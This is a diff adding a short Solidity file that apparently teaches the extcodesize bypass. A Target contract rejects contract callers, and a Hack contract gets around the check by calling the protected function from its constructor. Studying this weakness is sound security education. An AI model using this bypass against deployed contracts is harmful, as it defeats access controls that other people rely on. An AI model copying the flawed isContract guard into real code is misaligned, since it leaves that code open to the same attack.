diff --git a/Sol.sol b/Sol.sol new file mode 100644 index 0000000..8b4f1a6 --- /dev/null +++ b/Sol.sol @@ -0,0 +1,37 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8; + +contract Target { + function isContract(address account) public view returns (bool) { + uint size; + assembly { + size := extcodesize(account) + } + return size > 0; + } + + bool public pwned = false; + + function protected() external { + require(!isContract(msg.sender), "no contract allowed"); + pwned = true; + } +} + +contract FailedAttack { + // Attempting to call Target.protected will fail, + // Target block calls from contract + function pwn(address _target) external { + // This will fail + Target(_target).protected(); + } +} + +contract Hack { + bool public isContract; + + constructor(address _target) { + isContract = Target(_target).isContract(address(this)); + Target(_target).protected(); + } +}